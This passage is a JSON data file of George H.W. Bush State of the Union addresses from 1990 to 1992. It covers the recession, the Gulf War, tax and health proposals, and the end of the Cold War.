defense was\npurged as if the world was permanently safe.I remind you this evening that I have asked for your support in funding a\nprogram to protect our country from limited nuclear missile attack. We must\nhave this protection because too many people in too many countries have\naccess to nuclear arms. There are those who say that now we can turn away\nfrom the world, that we have no special role, no special place. But we are\nthe United States of America, the leader of the West that has become the\nleader of the world.As long as I am President we will continue to lead in support of freedom\neverywhere, not out of arrogance and not out of altruism, but for the\nsafety and security of our children. This is a fact: Strength in the\npursuit of peace is no vice; isolationism in the pursuit of security is no\nvirtue.Now to our troubles at home. They are not all economic, but the primary\nproblem is our economy. There are some good signs. Inflation, that thief,\nis down, and interest rates are down. But unemployment is too high, some\nindustries are in trouble and growth is not what it should be. Let me tell\nyou right from the start and right from the heart: I know we're in hard\ntimes, but I know something else: This will not stand.My friends in this chamber, we can bring the same courage and sense of\ncommon purpose to the economy that we brought to Desert Storm. And we can\ndefeat hard times together. I believe you will help. One reason is that\nyou're patriots, and you want the best for your country. And I believe that\nin your hearts you want to put partisanship aside and get the job done,\nbecause it's the right thing to do.The power of America rests in a stirring but simple idea: that people will\ndo great things if only you set them free. Well, we're going to have to set\nthe economy free, for if this age of miracles and wonders has taught us\nanything, it's that if we can change the world, we can change America.We must encourage investment. We must make it easier for people to invest\nmoney and make new products, new industries, and new jobs. We must clear\naway obstacles to new growth: high taxes, high regulation, red tape, and\nyes, wasteful government spending. None of this will happen with a snap of\nthe fingers, but it will happen. And the test of a plan isn't whether it's\ncalled new or dazzling. The American people aren't impressed by gimmicks.\nThey're smarter on this score than all of us in this room. The only test of\na plan is, It is sound and will it work? We must have a short-term plan to\naddress our immediate needs and heat up the economy. And then we need a\nlong-term plan to keep the combustion going and to guarantee our place in\nthe world economy.There are certain things that a president can do without Congress, and I am\ngoing to do them. I have this evening asked major cabinet departments and\nfederal agencies to institute a 90-day moratorium on any new federal\nregulations that could hinder growth. In those 90 days, major departments\nand agencies will carry out a top-to-bottom review of all regulations, old\nand new, to stop the ones that will hurt growth and speed up those that\nwill help growth.Further, for the untold number of hard-working, responsible American\nworkers and businessmen and women who've been forced to go without needed\nbank loans, the banking credit crunch must end. I won't neglect my\nresponsibility for sound regulations that serve the public good, but\nregulatory overkill must be stopped. And I have instructed our government\nregulators to stop it.I have directed Cabinet departments and federal agencies to speed up\npro-growth expenditures as quickly as possible. This should put an extra\n$10 billion into the economy in the next six months. And our new\ntransportation bill provides more than $150 billion for construction and\nmaintenance projects that are vital to our growth and well-being. That\nmeans jobs building roads, jobs building bridges and jobs building\nrailways. And I have this evening directed the secretary of the Treasury to\nchange the federal tax withholding tables. With this change, millions of\nAmericans from whom the government withholds more than necessary can now\nchoose to have the government withhold less from their paychecks. Something\ntells me a number of taxpayers may take us up on this one. This initiative\ncould return about $25 billion back into the economy over the next 12\nmonths, money people can use to help pay for clothing, college or a new\ncar. And finally, working with the Federal Reserve, we will continue to\nsupport monetary policy that keeps both interest rates and inflation down.Now these are the things that I can do. And now, members of Congress, let\nme tell you what you can do for your country. You must, you must pass the\nother elements of my plan to meet our economic needs. Everyone knows\ninvestment speeds recovery. And I am proposing this evening a change in the\nalternative minimum tax, and the creation of a new 15% investment tax\nallowance. This will encourage businesses to accelerate investment and\nbring people back to work. Real estate has led our economy out of almost\nall the tough times we've ever had. Once building starts, carpenters and\nplumbers work, people buy homes and take out mortgages.My plan would modify the passive-loss rule for active real-estate\ndevelopers. And it would make it easier for pension plans to purchase real\nestate. For those Americans who dream of buying a first home but who can't\nquite afford it, my plan would allow first-time home buyers to withdraw\nsavings from IRAs without penalty and provide a $5000 tax credit for the\nfirst purchase of that home.And finally, my immediate plan calls on Congress to give crucial help to\npeople who own a home, to every one who has a business, a farm or a single\ninvestment.This time, at this hour, I cannot take \"No\" for an answer. You must cut the\ncapital gains tax on the people of this country. Never has an issue been so\ndemagogued by its opponents. But the demagogues are wrong. They are wrong,\nand they know it. Sixty percent of people who benefit from lower capital\ngains have incomes under $50,000. A cut in the capital gains tax increases\njobs and helps just about everyone in our country. And so I'm asking you to\ncut the capital gains tax to a maximum of 15.4%. And I'll tell you, I'll\ntell you, those of you who say, \"Oh no, someone who's comfortable may\nbenefit from this\" you kind of remind me of the old definition of the\nPuritan, who couldn't sleep at night worrying that somehow someone\nsomewhere was out having a good time.The opponents of this measure and those who've authored various so-called\nsoak-the-rich bills that are floating around this chamber should be\nreminded of something: When they aim at the big guy, they usually hit the\nlittle guy. And maybe it's time that stopped.This then is my short-term plan. Your part, members of Congress, requires\nenactment of these common-sense proposals that will have a strong effect on\nthe economy, without breaking the budget agreement and without raising tax\nrates. And while my plan is being passed and kicking in, we've got to care\nfor those in trouble today. I have provided for up to $4.4 billion in my\nbudget to extend federal unemployment benefits, and I ask for Congressional\naction right away. And I thank the committee--well, at last. And let's be\nfrank. Let's be frank; let me level with you.I know, and you know, that my plan is unveiled in a political season. I\nknow, and you know, that everything I propose will be viewed by some in\nmerely partisan terms. But I ask you to know what is in my heart. And my\naim is to increase our nation's good. And I'm doing what I think is right;\nI'm proposing what I know will help. I pride myself that I'm a prudent man,\nand I believe that patience is a virtue, but I understand politics is, for\nsome, a game and that sometimes the game is to stop all progress and then\ndecry the lack of improvement. But let me tell you, let me tell you, far\nmore important than my political future--and far more important than\nyours--is the well-being of our country. And members of this chamber,\nmembers of this chamber, are practical people, and I know you won't resent\nsome practical advice: When people put their party's fortunes, whatever the\nparty, whatever the side of this aisle, before the public good, they court\ndefeat not only for their country, but for themselves. And they will\ncertainly deserve it.And I submit my plan tomorrow. And I am asking you to pass it by March 20.\nFrom the day after that--if it must be--the battle is joined. And you\nknow, when principle is at stake, I relish a good fair fight.I said my plan has two parts, and it does. And it's the second part that is\nthe heart of the matter. For it's not enough to get an immediate burst. We\nneed long-term improvement in our economic position. We all know that the\nkey to our economic future is to insure that America continues as the\neconomic leader of the world. We have that in our power. Here, then, is my\nlong-term plan to guarantee our future.First, trade: We will work to break down the walls that stop world trade.\nWe will work to open markets everywhere. And in our major trade\nnegotiations, I will continue pushing to eliminate tariffs and subsidies\nthat damage America's farmers and workers. And we'll get more good American\njobs within our own hemisphere through the North American Free Trade\nAgreement, and through the Enterprise for the Americas Initiative. But\nchanges are here, and more are coming. The work place of the future will\ndemand more highly skilled workers than ever, people who are computer\nliterate, highly educated.And we must be the world's leader in education. And we must revolutionize\nAmerica's schools. My America 2000 strategy will help us reach that goal.\nMy plan will give parents more choice, give teachers more flexibility and\nhelp communities create new American schools. Thirty states across the\nnation have established America 2000 programs. Hundreds of cities and towns\nhave joined. Now Congress must join this great movement. Pass my proposals\nfor new American schools.That was my second long-term proposal. And here's my third: We must make\ncommon-sense investments that will help us compete, long-term, in the\nmarketplace. We must encourage research and development. My plan is to make\nthe R and D tax credit permanent, and to provide record levels of support,\nover $76 billion this year alone for people who explore the promise of\nemerging technologies.And fourth, we must do something about crime and drugs. And it is time for\na major renewed investment in fighting violent street crime. Its saps our\nstrength and hurts our faith in our society, and in our future together.\nSurely a tired woman on her way to work at six in the morning on a subway\ndeserves the right to get there safely. And surely, it's true that everyone\nwho changes his or her way of life because of crime--from those afraid to\ngo our at night to those afraid to walk in the parks they pay for--surely\nthose people have been denied a basic civil right. It is time to restore\nit. Congress, pass my comprehensive crime bill. It is tough on criminals\nand supportive of police, and it has been languishing in these hallowed\nhalls for years now. Pass it. Help your country.And fifth, I ask you tonight to fund our HOPE housing proposal and to pass\nmy enterprise-zone legislation, which will get businesses into the inner\ncity. We must empower the poor with the pride that comes from owning a\nhome, getting a job, becoming part of things. My plan would encourage real\nestate construction by extending tax incentives for mortgage-revenue bonds\nand low-income housing. And I ask tonight for record expenditures for the\nprogram that helps children born into want move into excellence: Head\nStart.Step six: We must reform our health care system for this too, bears on\nwhether or not we can compete in the world. American health costs have been\nexploding. This year America will spend over $800 billion on health, and\nthat is expected to grow to $1.6 trillion by the end of the decade. We\nsimply cannot afford this. The cost of health care shows up not only in\nyour family budget, but in the price of everything we buy and everything we\nsell. When health coverage for a fellow on the assembly line costs\nthousands of dollars, the cost goes into the product he makes. And you pay\nthe bill. Now we must make a choice.Now some pretend we can have it both ways: they call it play or pay. But\nthat expensive approach is unstable. It will mean higher taxes, fewer jobs,\nand eventually, a system under complete government control. Really, there\nare only two options. And we can move toward a nationalized system, a\nsystem which will restrict patient choice in picking a doctor and force the\ngovernment to ration services arbitrarily. And what we'll get is patients\nin long lines, indifferent service and a huge new tax burden. Or we can\nreform our own private health-care system, which still gives us, for all\nits flaws, the best quality health care in the world. Well, let's build on\nour strengths.My plan provides insurance security for all Americans while preserving and\nincreasing the idea of choice. We make basic health insurance affordable\nfor all low-income people not now covered. We do it by providing a\nhealth-insurance tax credit of up to $3750 for each low-income family. The\nmiddle class gets help, too. And by reforming the health insurance market,\nmy plan assures that Americans will have access to basic health insurance\neven if they change jobs or develop serious health problem We must bring\ncosts under control, preserve quality, preserve choice and reduce people's\nnagging daily worry about health insurance. My plan, the details of which I\nwill announce shortly, does just that.And seventh, we must get the federal deficit under control. We now have in\nlaw, enforcable spending caps, and a requirement that we pay for the\nprograms we create. There are those in Congress who would ease that\ndiscipline now. But I cannot let them do it. And I won't. My plan would\nfreeze all domestic discretionary budget authority which means \"No more\nnext year than this year\". I will not tamper with Social Security but I\nwould put real caps on the growth of uncontrolled spending. And I would\nalso freeze federal domestic government employment. And with the help of\nCongress, my plan will get rid of 246 programs that don't deserve federal\nfunding. Some of them have noble titles, but none of them is indispensible.\nWe can get rid of each and every one of them.You know, it's time we rediscovered a home truth the American people have\nnever forgotten: the government is too big and spends too much. And I call\non Congress to adopt a measure that will help put an end to the annual\nritual of filling the budget with pork-barrel appropriations. Every year,\nthe press has a field day making fun of outrageous examples, a Lawrence\nWelk Museum, a research grant for Belgian Endive. We all know how these\nthings get into the budget, and maybe you need someone to help you say no.\nI know how to say it. And you know what I need to make it stick. Give me\nthe same thing 43 governors have--the line-item veto--and let me help\nyou control spending.We must put an end to unfinanced government mandates. These are the\nrequirements Congress puts on our cities, counties and states without\nsupplying the money. And if Congress passes a mandate, it should be forced\nto pay for it and balance the cost with savings elsewhere. After all, a\nmandate just increases someone else's tax burden, and that means higher\ntaxes at the state and local level.Step Eight: Congress should enact the bold reform proposals that are still\nawaiting congressional action: bank reform, civil justice reform, tort\nreform, and my national energy strategy.And finally, we must strengthen the family, because it is the family that\nhas the greatest bearing on our future. When Barbara holds an AIDS baby in\nher arms and reads to children, she's saying to every person in this\ncountry, \"Family Matters\".And I am announcing tonight a new commission on America's urban families.\nI've asked Missouri's governor, John Ashcroft, to be chairman, former\nDallas Mayor Annetter Strauss to be co-chair. You know, I had Mayors, the\nleading mayors from the League of Cities, in the other day at the White\nHouse, and they told me something striking. They said that every one of\nthem, Republican and Democrat, agreed on one thing: That the major cause of\nthe problems of the cities is the dissolution of the family. And they asked\nfor this commission, and they were right to ask, because it's time to\ndetermine what we can do to keep families together, strong and sound.There's one thing we can do right away: Ease the burden of rearing a child.\nI ask you tonight to raise the personal exemption by $500 per child for\nevery family. For a family with four kids, that's an increase of $2000.\nThis is a good start in the right direction, and it's what we can afford.\nIt's time to allow families to deduct the interest they pay on student\nloans. And I'm asking you to do just that. And I'm asking you to allow\npeople to use money from their IRAs to pay medical and educational\nexpenses, all without penalties. And I'm asking for more. Ask American\nparents what they dislike about how things are going in our country, and\nchances are good that pretty soon they'll get to welfare.Americans are the most generous people on Earth. But we have to go back to\nthe insight of Franklin Roosevelt who, when he spoke of what became the\nwelfare program, want that it must not become a narcotic and a subtle\ndestroyer of the spirit. Welfare was never meant to be a life style. It was\nnever meant to be a habit. It was never supposed to be passed on from\ngeneration to generation like a legacy. It's time to replace the\nassumptions of the welfare state and help reform the welfare system.States throughout the country are beginning to operate with new\nassumptions: that when able-bodied people receive government assistance\nthey have responsibilities to the taxpayer. A responsibility to seek work,\neducation, or job training. A responsibility to get their lives in order. A\nresponsibility to hold their families together and refrain from having\nchildren out of wedlock. And a responsibility to obey the law. We are going\nto help this movement. Often, state reform requires waiving certain federal\nregulations. I will act to make that process easier and quicker for every\nstate that asks our help. And I want to add, as we make these changes, we\nwork together to improve this system, that our intention is not\nscapegoating and finger-pointing. If you read the papers or watch TV you\nknow there's been a rise these days in a certain kind of ugliness: racist\ncomments, anti-Semitism, an increased sense of division. Really, this is\nnot us. This is not who we are. And this is not acceptable.And so you have my plan for America. And I am asking for big things, but I\nbelieve in my heart you will do what's right.And you know, it's kind of an American tradition to show a certain\nskepticism toward our democratic institutions. I myself have sometimes\nthought the aging process could be delayed if it had to make its way\nthrough Congress. But you will deliberate, and you will discuss, and that\nis fine. But my friends the people cannot wait. They need help now. And\nthere's a mood among us. People are worried. There has been talk of\ndecline. Someone even said our workers are lazy and uninspired. And I\nthought, \"Really? Go tell Neil Armstrong standing on the moon. Tell the\nAmerican farmer who feeds his country and the world. Tell the men and women\nof Desert Storm.\" Moods come and go, but greatness endures. Our does.And maybe for a moment it's good to remember what, in the dailyness of our\nlives, we forget. We are still and ever the freest nation on Earth, the\nkindest nation on Earth, the strongest nation on Earth. And we have always\nrisen to the occasion. And we are going to lift this nation out of hard\ntimes inch by inch and day by day, and those who would stop us better step\naside. Because I look at hard times and I make this vow: This will not\nstand. And so we move on, together, a rising nation, the once and future\nmiracle that is still, this night, the hope of the world.", 
+    "name": "George H.W. Bush"
+}
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+{
+    "date": "January 29, 1991", 
+    "speech": "Mr. President, Mr. Speaker, members of the United States Congress.I come to this house of the people to speak to you and all Americans,\ncertain we stand at a defining hour.Halfway around the world, we are engaged in a great struggle in the skies\nand on the seas and sands. We know why we're there. We are Americans--part\nof something larger than ourselves.For two centuries we've done the hard work of freedom. And tonight we lead\nthe world in facing down a threat to decency and humanity.What is at stake is more than one small country, it is a big idea--a new\nworld order, where diverse nations are drawn together in common cause to\nachieve the universal aspirations of mankind: peace and security, freedom,\nand the rule of law. Such is a world worthy of our struggle, and worthy of\nour children's future.The community of nations has resolutely gathered to condemn and repel\nlawless aggression. Saddam Hussein's unprovoked invasion--his ruthless,\nsystematic rape of a peaceful neighbor--violated everything the community\nof nations holds dear. The world has said this aggression would not stand,\nand it will not stand.Together, we have resisted the trap of appeasement, cynicism and isolation\nthat gives temptation to tyrants. The world has answered Saddam's invasion\nwith 12 United Nations resolutions, starting with a demand for Iraq's\nimmediate and unconditional withdrawal, and backed up by forces from 28\ncountries of six continents. With few exceptions, the world now stands as\none.The end of the cold war has been a victory for all humanity. A year and a\nhalf ago, in Germany, I said our goal was a Europe whole and free. Tonight,\nGermany is united. Europe has become whole and free, and America's\nleadership was instrumental in making it possible.The principle that has guided us is simple: our objective is to help the\nBaltic peoples achieve their aspirations, not to punish the Soviet Union.\nIn our recent discussions with the Soviet leadership we have been given\nrepresentations, which, if fulfilled, would result in the withdrawal of\nsome Soviet forces, a re-opening of dialogue with the republics, and a move\naway from violence.We will watch carefully as the situation develops. And we will maintain our\ncontact with the Soviet leadership to encourage continued commitment to\ndemocratization and reform.If it is possible, I want to continue to build a lasting basis for\nU.S.-Soviet cooperation, for a more peaceful future for all mankind.The triumph of democratic ideas in Eastern Europe and Latin America, and\nthe continuing struggle for freedom elsewhere around the world all confirm\nthe wisdom of our nation's founders.Tonight, we work to achieve another victory, a victory over tyranny and\nsavage aggression.We in this Union enter the last decade of the 20th Century thankful for all\nour blessings, steadfast in our purpose, aware of our difficulties and\nresponsive to our duties at home and around the world.For two centuries, America has served the world as an inspiring example of\nfreedom and democracy. For generations, America has led the struggle to\npreserve and extend the blessings of liberty. And today, in a rapidly\nchanging world, American leadership is indispensable. Americans know that\nleadership brings burdens, and requires sacrifice.But we also know why the hopes of humanity turn to us. We are Americans; we\nhave a unique responsibility to do the hard work of freedom. And when we\ndo, freedom works.The conviction and courage we see in the Persian Gulf today is simply the\nAmerican character in action. The indomitable spirit that is contributing\nto this victory for world peace and justice is the same spirit that gives\nus the power and the potential to meet our challenges at home.We are resolute and resourceful. If we can selflessly confront evil for the\nsake of good in a land so far away, then surely we can make this land all\nit should be.If anyone tells you America's best days are behind her, they're looking the\nwrong way.Tonight, I come before this house, and the American people, with an appeal\nfor renewal. This is not merely a call for new government initiatives, it\nis a call for new initiative in government, in our communities, and from\nevery American--to prepare for the next American century.America has always led by example. So who among us will set this example?\nWhich of our citizens will lead us in this next American century? Everyone\nwho steps forward today, to get one addict off drugs; to convince one\ntroubled teen-ager not to give up on life; to comfort one AIDS patient; to\nhelp one hungry child.We have within our reach the promise of renewed America. We can find\nmeaning and reward by serving some purpose higher than ourselves--a\nshining purpose, the illumination of a thousand points of light. It is\nexpressed by all who know the irresistible force of a child's hand, of a\nfriend who stands by you and stays there--a volunteer's generous gesture,\nan idea that is simply right.The problems before us may be different, but the key to solving them\nremains the same: it is the individual--the individual who steps forward.\nAnd the state of our Union is the union of each of us, one to the other:\nthe sum of our friendships, marriages, families and communities.We all have something to give. So if you know how to read, find someone who\ncan't. If you've got a hammer, find a nail. If you're not hungry, not\nlonely, not in trouble--seek out someone who is.Join the community of conscience. Do the hard work of freedom. That will\ndefine the state of our Union.Since the birth of our nation, \"we the people\" has been the source of our\nstrength. What government can do alone is limited, but the potential of the\nAmerican people knows no limits.We are a nation of rock-solid realism and clear-eyed idealism. We are\nAmericans. We are the nation that believes in the future. We are the nation\nthat can shape the future.And we've begun to do just that, by strengthening the power and choice of\nindividuals and families.Together, these last two years, we've put dollars for child care directly\nin the hands of patients instead of bureaucracies, unshackled the potential\nof Americans with disabilities, applied the creativity of the marketplace in\nthe service of the environment, for clean air, and made homeownership\npossible for more Americans.The strength of a democracy is not in bureaucracy, it is in the people and\ntheir communities. In everything we do, let us unleash the potential of our\nmost precious resource--our citizens. We must return to families,\ncommunities, counties, cities, states and institutions of every kind, the\npower to chart their own destiny, and the freedom and opportunity provided\nby strong economic growth. That's what America is all about.I know, tonight, in some regions of our country, people are in genuine\neconomic distress. I hear them.Earlier this month Kathy Blackwell of Massachusetts wrote me about what can\nhappen when the economy slows down, saying, \"My heart is aching, and I\nthink that you should know--your people out here are hurting badly.\"I understand. And I'm not unrealistic about the future. But there are\nreasons to be optimistic about our economy.First, we don't have to fight double-digit inflation. Second, most\nindustries won't have to make big cuts in production because they don't\nhave big inventories piled up. And third, our exports are running solid and\nstrong. In fact, American businesses are exporting at a record rate.So let's put these times in perspective. Together, since 1981, we've\ncreated almost 20 million jobs, cut inflation in half and cut interest\nrates in half.Yes, the largest peacetime economic expansion in history has been\ntemporarily interrupted. But our economy is still over twice as large as\nour closest competitor.We will get this recession behind us and return to growth soon. We will get\non our way to a new record of expansion, and achieve the competitive\nstrength that will carry us into the next American century.We should focus our efforts today on encouraging economic growth, investing\nin the future and giving power and opportunity to the individual.We must begin with control of Federal spending. That's why I'm submitting a\nbudget that holds the growth in spending to less than the rate of\ninflation. And that's why, amid all the sound and fury of last year's\nbudget debate, we put into law new, enforceable spending caps so that\nfuture spending debates will mean a battle of ideas, not a bidding war.Though controversial, the budget agreement finally put the Federal\nGovernment on a pay-as-you-go basis, and cut the growth of debt by nearly\n$500 billion. And that frees funds for saving and job-creating investment.Now, let's do more. My budget again includes tax-free family savings\naccounts; penalty-free withdrawals from I. R. A.'s for first-time\nhomebuyers; and, to increase jobs and growth, a reduced tax for long-term\ncapital gains.I know their are differences among us about the impact and the effects of a\ncapital gains incentive. So tonight I am asking the Congressional leaders\nand the Federal Reserve to cooperate with us in a study, led by Chairman\nAlan Greenspan, to sort out our technical differences so that we can avoid\na return to unproductive partisan bickering.But just as our efforts will bring economic growth now and in the future,\nthey must also be matched by long-term investments for the next American\ncentury.That requires a forward-looking plan of action, and that's exactly what we\nwill be sending to the Congress. We have prepared a detailed series of\nproposals, that include: A budget that promotes investment in America's\nfuture--in children, education, infrastructure, space and high technology.\nLegislation to achieve excellence in education, building on the partnership\nforged with the 50 governors at the education summit, enabling parents to\nchoose their children's schools and helping to make America No. 1 in math\nand science. A blueprint for a new national highway system, a critical\ninvestment in our transportation infrastructure. A research and development\nagenda that includes record levels of Federal investment and a permanent\ntax credit to strengthen private R and D and create jobs. A comprehensive\nnational energy strategy that calls for energy conservation and efficiency,\nincreased development and greater use of alternative fuels. A banking\nreform plan to bring America's financial system into the 21st Century, so\nthat our banks remain safe and secure and can continue to make job-creating\nloans for our factories, businesses, and homebuyers. I do think there has\nbeen too much pessimism. Sound banks should be making more sound loans,\nnow. And interest rates should be lower, now. In addition to these\nproposals, we must recognize that our economic strength depends upon being\ncompetitive in world markets. We must continue to expand America's exports.\nA successful Uruguay Round of world trade negotiations will create more\nreal jobs, and more real growth, for all nations. You and I know that if\nthe playing field is level, America's workers and farmers can outwork and\noutproduce anyone, anytime, anywhere.And with the Mexican free trade agreement and our Enterprise for the\nAmericas Initiative we can help our partners strengthen their economies and\nmove toward a free trade zone throughout this entire hemisphere.The budget also includes a plan of action right here at home to put more\npower and opportunity in the hands of the individual. That means new\nincentives to create jobs in our inner cities by encouraging investment\nthrough enterprise zones. It also means tenant control and ownership of\npublic housing. Freedom and the power to choose should not be the privilege\nof wealth. They are the birthright of every American.Civil rights are also crucial to protecting equal opportunity. Every one of\nus has a responsibility to speak out against racism, bigotry, and hate. We\nwill continue our vigorous enforcement of existing statutes, and I will once\nagain press the Congress to strengthen the laws against employment\ndiscrimination without resorting to the use of unfair preferences.We're determined to protect another fundamental civil right: freedom from\ncrime and the fear that stalks our cities. The Attorney General will soon\nconvene a crime summit of the nation's law-enforcement officials. And to\nhelp us support them we need a tough crime control legislation, and we need\nit now.As we fight crime, we will fully implement our nation strategy for\ncombatting drug abuse. Recent data show we are making progress, but much\nremains to be done. We will not rest until the day of the dealer is over,\nforever.Good health care is every American's right and every American's\nresponsibility. So we are proposing an aggression program of new prevention\ninitiatives--for infants, for children, for adults, and for the elderly--\nto promote a healthier America and to help keep costs from spiraling.It's time to give people more choice in government by reviving the ideal of\nthe citizen politician who comes not to stay, but to serve. One of the\nreasons there is so much support for term limitations is that the American\npeople are increasingly concerned about big-money influence in politics.\nWe must look beyond the next election, to the next generation. The time has\ncome to put the national interest ahead of the special interest--and\ntotally eliminate political action committees.That would truly put more competition in elections and more power in the\nhands of individuals. And where power cannot be put directly into the hands\nof the individual, it should be moved closer to the people--away from\nWashington.The federal government too often treats government programs as if they are\nof Washington, by Washington, and for Washington. Once established, federal\nprograms seem to become immortal.It's time for a more dynamic program life cycle. Some programs should\nincrease. Some should decrease. Some should be terminated. And some should\nbe consolidated and turned over to the states.My budget includes a list of programs for potential turnover totaling more\nthan $20 billion. Working with Congress and the governors, I propose we\nselect at least $15 billion in such programs and turn them over to the\nstates in a single consolidated grant, fully funded, for flexible\nmanagement by the states.The value of this turnover approach is straightforward. It allows the\nFederal Government to reduce overhead. It allows states to manage more\nflexibly and more efficiently. It moves power and decision-making closer to\nthe people. And it re-enforces a theme of this Administration: appreciation\nand encouragement of the innovative power of \"states as laboratories.\"This nation was founded by leaders who understood that power belongs in the\nhands of the people. They planned for the future. And so must we--here and\naround the world.As Americans, we know there are times when we must step forward and accept\nour responsibility to lead the world away from the dark chaos of dictators,\ntoward the bright promise of a better day.Almost 50 years ago, we began a long struggle against aggressive\ntotalitarianism. Now we face another defining hour for America and the\nworld.There is no one more devoted, more committed to the hard work of freedom,\nthan every soldier and sailor, every marine, airman and coastguardsman--\nevery man and every woman now serving in the Persian Gulf.Each of them has volunteered to provide for this nation's defense. And now\nthey bravely struggle to earn for America and for the world and for future\ngenerations, a just and lasting peace.Our commitment to them must be equal of their commitment to our country.\nThey are truly America's finest.The war in the gulf is not a war we wanted. We worked hard to avoid war.\nFor more than five months we, along with the Arab League, the European\nCommunity and the United Nations, tried every diplomatic avenue. U.N.\nSecretary General Perez de Cuellar; Presidents Gorbachev, Mitterand, Ozal,\nMubarak, and Bendjedid; Kings Fahd and Hassan; Prime Ministers Major and\nAndreotti--just to name a few--all worked for a solution. But time and\nagain Saddam Hussein flatly rejected the path of diplomacy and peace.The world well knows how this conflict began, and when: it began on August\n2nd, when Saddam invaded and sacked a small, defenseless neighbor. And I am\ncertain of how it will end. So that peace can prevail, we will prevail.Tonight I'm pleased to report that we are on course. Iraq's capacity to\nsustain war is being destroyed. Our investment, our training, our planning\n--all are paying off. Time will not be Saddam's salvation.Our purpose in the Persian Gulf remains constant: to drive Iraq out from\nKuwait, to restore Kuwait's legitimate government, and to insure the\nstability and security of this critical region.Let me make clear what I mean by the region's stability and security. We do\nnot seek the destruction of Iraq, its culture or its people. Rather, we\nseek an Iraq that uses its great resources not to destroy, not to serve the\nambitions of a tyrant, but to build a better life for itself and its\nneighbors. We seek a Persian Gulf where conflict is no longer the rule,\nwhere the strong are neither tempted nor able to intimidate the weak.Most Americans know instinctively why we are in the Gulf. They know we had\nto stop Saddam now, not later. They know this brutal dictator will do\nanything, will use any weapon, will commit any outrage, no matter how many\ninnocents must suffer.They know we must make sure that control of the world's oil resources does\nnot fall into his hands only to finance further aggression. They know that\nwe need to build a new, enduring peace--based not on arms races and\nconfrontation, but on shared principles and the rule of law.And we all realize that our responsibility to be the catalyst for peace in\nthe region does not end with the successful conclusion of this war.Democracy brings the undeniable value of thoughtful dissent, and we have\nheard some dissenting voices here at home, some reckless, most responsible.\nBut the fact the all the voices have the right to speak out is one of the\nreasons we've been united in principle and purpose for 200 years.Our progress in this great struggle is the result of years of vigilance and\na steadfast commitment to a strong defense. Now, with remarkable\ntechnological advances like the Patriot missile, we can defend the\nballistic missile attacks aimed at innocent civilians.Looking forward, I have directed that the S.D.I. program be refocused on\nproviding protection from limited ballistic missile strikes, whatever their\nsource. Let us pursue an S.D.I. program that can deal with any future\nthreat to the United States, to our forces overseas and to our friends and\nallies.The quality of American technology, thanks to the American worker, has\nenabled us to successfully deal with difficult military conditions, and\nhelp minimize the loss of life. We have given our men and women the very\nbest. And they deserve it.We all have a special place in our hearts for the families of men and women\nserving in the Gulf. They are represented here tonight, by Mrs. Norman\nSchwarzkopf, and to all those serving with him. And to the families, let me\nsay, our forces in the gulf will not stay there one day longer than is\nnecessary to complete their mission.The courage and success of the R.A.F. pilots--of the Kuwaiti, Saudi,\nFrench, Canadians, Italians, the pilots of Qatar and Bahrain--all are\nproof that for the first time since World War II, the international\ncommunity is united. The leadership of the United Nations, once only a\nhoped-for ideal, is now confirming its founders' vision.I am heartened that we are not being asked to bear alone the financial\nburden of this struggle. Last year, our friends and allies provided the\nbulk of the economic costs of Desert Shield, and having now received\ncommitments of over $40 billion for the first three months of 1991, I am\nconfident they will do no less as we move through Desert Storm.But the world has to wonder what the dictator of Iraq is thinking. If he\nthinks that by targeting innocent civilians in Israel and Saudi Arabia,\nthat he will gain an advantage--he is dead wrong. If he thinks that he\nwill advance his cause through tragic and despicable environmental\nterrorism--he is dead wrong. And if he thinks that by abusing coalition\nP.O.W.s, he will benefit--he is dead wrong.We will succeed in the Gulf. And when we do, the world community will have\nsent an enduring warning to any dictator or despot, present or future, who\ncontemplates outlaw aggression.The world can therefore seize this opportunity to fulfill the long-held\npromise of a new world order--where brutality will go unrewarded, and\naggression will meet collective resistance.Yes, the United States bears a major share of leadership in this effort.\nAmong the nations of the world, only the United States of America has had\nboth the moral standing, and the means to back it up. We are the only\nnation on this earth that could assemble the forces of peace.This is the burden of leadership--and the strength that has made America\nthe beacon of freedom in a searching world.This nation has never found glory in war. Our people have never wanted to\nabandon the blessings of home and work, for distant lands and deadly\nconflict. If we fight in anger, it is only because we have to fight at all.\nAnd all of us yearn for a world where we will never have to fight again.Each of us will measure, within ourselves, the value of this great\nstruggle. Any cost in lives is beyond our power to measure. But the cost of\nclosing our eyes to aggression is beyond mankind's power to imagine.This we do know: Our cause is just. Our cause is moral. Our cause is\nright.Let future generations understand the burden and the blessings of freedom.\nLet them say, we stood where duty required us to stand.Let them know that together, we affirmed America, and the world, as a\ncommunity of conscience.The winds of change are with us now. The forces of freedom are united. We\nmove toward the next century, more confident than ever, that we have the\nwill at home and abroad, to do what must be done--the hard work of\nfreedom.May God bless the United States of America.", 
+    "name": "George H.W. Bush"
+}
\ No newline at end of file
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+{
+    "date": "January 31, 1990", 
+    "speech": "Tonight, I come not to speak about the \"State of the Government\", not to\ndetail every new initiative we plan for the coming year, nor describe every\nline in the budget. I'm here to speak to you and to the American people\nabout the State of the Union about our world, the changes we've seen, the\nchallenges we face. And what that means for America.There are singular moments in history, dates that divide all that goes\nbefore from all that comes after. And many of us in this chamber have lived\nmuch of our lives in a world whose fundamental features were defined in\n1945. And the events of that year decreed the shape of nations, the pace of\nprogress, freedom or oppression for millions of people around the world.Nineteen Forty-Five provided the common frame of reference the compass\npoints of the postwar era we've relied upon to understand ourselves. And\nthat was our world until now. The events of the year just ended, the\nRevolution of '89, have been a chain reaction, changes so striking that it\nmarks the beginning of a new era in the world's affairs.Think back think back just twelve short months ago to the world we knew as\n1989 began.One year, one year ago the people of Panama lived in fear under the thumb\nof a dictator. Today democracy is restored. Panama is free.\"Operation Just Cause\" has achieved its objective. And the number of\nmilitary personel in Panama is now very close to what it was before the\noperation began. And tonight I am announcing that before the end of\nFebruary the additional numbers of American troops, the brave men and women\nof our armed forces who made this mission a success, will be back home.A year ago in Poland, Lech Walesa declared he was ready to open a dialogue\nwith the Communist rulers of that country. And today, with the future of a\nfree Poland in their own hands, members of Solidarity lead the Polish\ngovernment.And a year ago, freedom's playwright, Vaclav Havel, languished as a\nprisoner in Prague. And today it's Vaclav Havel, President of\nCzechoslovakia.And one year ago Erich Honecker of East Germany claimed history as his\nguide. He predicted the Berlin Wall would last another hundred years. And\ntoday, less than one year later, it's the wall that's history.Remarkable events, remarkable events, events that fulfill the long-held\nhopes of the American people. Events that validate the longstanding goals\nof American policy, a policy based upon a single shining principle: the\ncause of freedom.America, not just the nation, but an idea alive in the minds of the people,\neverywhere. As this new world takes shape, America stands 